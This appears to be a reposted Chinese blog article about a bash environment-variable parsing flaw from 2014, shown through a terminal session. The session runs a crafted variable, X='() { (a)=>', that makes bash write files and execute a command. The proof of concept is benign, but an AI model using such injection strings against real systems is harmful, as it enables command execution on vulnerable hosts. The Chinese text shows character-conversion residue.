一個(gè)linux下的bash安全漏洞
1. 通過設(shè)置一個(gè)特殊的環(huán)境變量的env,能間接地查到到linux命令的屬性,如下:
本文引用地址:http://cqxgywz.com/article/201609/304528.htm[2014-09-27 13:00:54 david@davidcchen ~]$ ls -l date
ls: cannot access date: No such file or directory
[2014-09-27 13:01:13 david@davidcchen ~]$ env -i X='() { (a)=>' bash -c 'date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
[2014-09-27 13:01:21 david@davidcchen ~]$ ls -l date
-rw-rw-r--. 1 david david 0 Sep 27 13:01 date
[2014-09-27 13:01:27 david@davidcchen ~]$
2. 一次運(yùn)行環(huán)境變量。
[2014-09-27 13:01:27 david@davidcchen ~]$ zsh --version
zsh 4.3.10 (x86_64-redhat-linux-gnu)
[2014-09-27 13:03:24 david@davidcchen ~]$ bash --version
GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[2014-09-27 13:03:31 david@davidcchen ~]$ env X='() { (a)=>' bash -c echo date; cat echo; rm echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Sat Sep 27 13:03:52 CST 2014
---------->成功運(yùn)行date命令
[2014-09-27 13:03:52 david@davidcchen ~]$


![[Android開發(fā)視頻教學(xué)]Activity布局初步(一)(09)](http://editerupload.eepw.com.cn/201010/97b18e8836e27626f0a32bccbff77c93.jpg)
![[Android開發(fā)視頻教學(xué)]Android當(dāng)中的常見控件(06)](http://editerupload.eepw.com.cn/201010/da20075d370ac655e4a954b55e0d4b60.jpg)
![[Android開發(fā)視頻教學(xué)]Activity生命周期(一)(07)](http://editerupload.eepw.com.cn/201010/6825fb3950a260a1a1707542aa0f5eeb.jpg)




![[Android開發(fā)視頻教學(xué)]Activity布局初步(二)(10)](http://editerupload.eepw.com.cn/201010/583096b31fdaa886e10d11efb7ae9fab.jpg)
![[Android開發(fā)視頻教學(xué)]Activity的生命周期(二)(08)](http://editerupload.eepw.com.cn/201010/b171a8a1ad811b5d31f44eeac3da9818.jpg)

評(píng)論